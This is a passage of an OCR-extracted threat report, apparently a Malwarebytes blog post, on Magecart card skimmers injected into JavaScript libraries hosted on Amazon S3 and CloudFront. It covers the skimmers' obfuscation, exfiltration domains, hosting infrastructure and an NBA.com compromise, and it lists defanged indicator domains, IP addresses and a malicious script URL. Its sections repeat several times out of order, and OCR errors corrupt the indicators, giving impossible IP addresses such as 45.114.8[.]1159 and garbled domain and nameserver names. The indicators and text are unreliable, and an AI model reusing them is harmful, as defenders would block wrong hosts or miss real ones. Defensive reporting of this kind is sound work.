Indicators of Compromise (IoCs)
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form
instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.
Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS1.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets[.]Jcom started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud[.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.

We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.]1161
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163

Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.
Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.
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4 » 9 characters selected

The skimmer was inserted in this JavaScript library:

hxxps://s3[.]amazonaws[ .]com/wsaimages/js/wizards[.]js
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Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.

Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNss are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.

%{‘—cloud.com pjs—cloudhost.com
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163

Source: https://blog.malwarebytes.com/threat-analysis/2019/06/magecart-skimmers-found-on-amazon-cloudfront-cdn/
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